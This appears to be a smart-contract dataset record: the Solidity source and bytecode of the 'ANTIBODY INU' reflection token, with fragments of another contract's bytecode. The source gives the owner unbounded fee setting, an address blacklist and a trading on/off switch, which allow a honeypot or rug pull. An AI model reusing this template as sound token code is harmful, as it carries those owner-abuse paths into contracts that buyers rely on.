4aa5e3f9012723c200a69efdcca855ae09af7d70992cc420cce249fee0e09999060405190815260200160405180910390a150600190565b600c5460ff1615610ef857600080fd5b60005433600160a060020a0390811691161480610f23575060035433600160a060020a039081169116145b1515610f2e57600080fd5b60008111610f3b57600080fd5b600160a060020a0382161515610f5057600080fd5b600160a060020a038216600090815260016020526040902054610f79908263ffffffff611c1916565b600160a060020a038316600090815260016020526040902055601254610fa5908263ffffffff611c0716565b6012557f47a75aa311e7576c9a07da850c14f42ffe2864978d7f025084839a75bdcbdac68282604051600160a060020a03909216825260208201526040908101905180910390a15050565b600f5481565b67016345785d8a000081565b600454600160a060020a031681565b600160a060020a031660009081526001602052604090205490565b60076020526000908152604090205481565b600b5481565b600c5460009060ff161561105757600080fd5b60005433600160a060020a0390811691161480611082575060035433600160a060020a039081169116145b151561108d57600080fd5b6001600881905542600a55600c805461ff0019166101001790557f87fcd7085eaabc2418e6a12ac5497cf18368bf4ad51215e24fd4782fa0c0ba579060405190815260200160405180910390a150600190565b60095469014542ba12a337c0000090101590565b6a1f04ef12cb04cf1580000081565b600054600160a060020a031681565b60408051908101604052600381527f4554450000000000000000000000000000000000000000000000000000000000602082015281565b600654600160a060020a031681565b60005433600160a060020a0390811691161461117357600080fd5b600160a060020a038116151561118857600080fd5b600454600160a060020a03828116911614156111a357600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146111ed57600080fd5b600160a060020a038116151561120257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a5481565b600c5460009062010000900460ff16151560011461125457600080fd5b600160a060020a038316151561126957600080fd5b6000821161127657600080fd5b600160a060020a03331660009081526001602052604090205461129f908363ffffffff611c0716565b600160a060020a0333811660009081526001602052604080822093909355908516815220546112d4908363ffffffff611c1916565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60105481565b600c5460009060ff161561134e57600080fd5b60005433600160a060020a0390811691161480611379575060035433600160a060020a039081169116145b151561138457600080fd5b60085460021461139357600080fd5b600654600160a060020a031615156113aa57600080fd5b600e54600114156114775750600654600160a060020a03166000908152600160205260409020546a0a56fa5b99019a5c800000906113e89082611c19565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600d547fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16002600d556117b0565b600e546002141561154757600b546301e133800142101561149757600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906114ca9082611c19565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611c76833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16003600e556117b0565b600e546003141561161657600b546276a7000142101561156657600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906115999082611c19565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611c76833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16004600e556117b0565b600e54600414156116e557600b546276a7000142101561163557600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906116689082611c19565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611c76833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16005600e556117b0565b600e54600514156102c057600b546276a7000142101561170457600080fd5b50600654600160a060020a03166000908152600160205260409020546a0295be96e6406697200000906117379082611c19565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600e54600080516020611c76833981519152939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16006600e555b50565b600c54610100900460ff1681565b600c5460009060ff16156117d457600080fd5b60005433600160a060020a03908116911614806117ff575060035433600160a060020a039081169116145b151561180a57600080fd5b60085460021461181957600080fd5b600554600160a060020a0316151561183057600080fd5b600d546001141561191257600b546305a39a800142101561185057600080fd5b50600554600160a060020a03166000908152600160205260409020546a0f8277896582678ac00000906118839082611c19565b60058054600160a060020a0390811660009081526001602052604090819020939093559054600d547fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16002600d556117b0565b600d54600214156102c057600b546301e133800142101561193257600080fd5b50600554600160a060020a03166000908152600160205260409020546a0f8277896582678ac00000906119659082611c19565b60058054600160a060020a0390811660009081526001602052604090819020939093559054600d547fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16003600d556117b0565b600d5481565b69014542ba12a337c0000081565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600c5460ff1681565b600354600160a060020a031681565b60005433600160a060020a03908116911614611a6657600080fd5b600c805460ff19166001179055565b600454600090600160a060020a03161515611a8f57600080fd5b611ac7670de0b6b3a7640000611abb81611aaf348863ffffffff611c3316565b9063ffffffff611c3316565b9063ffffffff611c5e16565b600160a060020a033316600090815260016020526040902054909150611af3908263ffffffff611c1916565b600160a060020a033316600090815260016020908152604080832093909355600790522054611b28903463ffffffff611c1916565b600160a060020a033316600090815260076020526040902055601054611b54908263ffffffff611c0716565b601055600954611b6a903463ffffffff611c1916565b600955600454600160a060020a03163480156108fc0290604051600060405180830381858888f193505050501515611ba157600080fd5b7f540c6de47939116ec4410c0212b0ac3a69886bf8f558dc04fb1360f6ebfea89b333483856040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a1505050565b600082821115611c1357fe5b50900390565b600082820183811015611c2857fe5b8091505b5092915050565b600080831515611c465760009150611c2c565b50828202828482811515611c5657fe5b0414611c2857fe5b6000808284811515611c6c57fe5b04949350505050560009e327415b03a4b8be9b82b38e073bc05b5f26dcc5cd52a38f51614ce6ca2391a165627a7a72305820b0823f117ff65e85eaabbf0efdeac53649c5e2c01e38f22f3f3a5e466c91fa2a0029
|
{"success": true, "error": null, "results": {}}
| 4,254 |
0x98Ca24D117cf55f3F9824BF75B511d2D835040b1
|
/**
Telegram: https://t.me/AntibodyInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AntibodyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ANTIBODY INU";
string private constant _symbol = "AINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2C16814Ac13e2210C6aB85f9229Ad8094c337FF2);
address payable private _marketingAddress = payable(0x2C16814Ac13e2210C6aB85f9229Ad8094c337FF2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b257600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600c81526b414e5449424f445920494e5560a01b60208201525b60405161023c9190611a26565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7b565b61069c565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa7565b6106b3565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae8565b61071c565b34801561037057600080fd5b506101fc61037f366004611b15565b610767565b34801561039057600080fd5b506101fc6107af565b3480156103a557600080fd5b506102c46103b4366004611ae8565b6107fa565b3480156103c557600080fd5b506101fc61081c565b3480156103da57600080fd5b506101fc6103e9366004611b30565b610890565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae8565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b15565b6108bf565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600481526341494e5560e01b602082015261022f565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026561050d366004611a7b565b610974565b34801561051e57600080fd5b5061026561052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c4610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3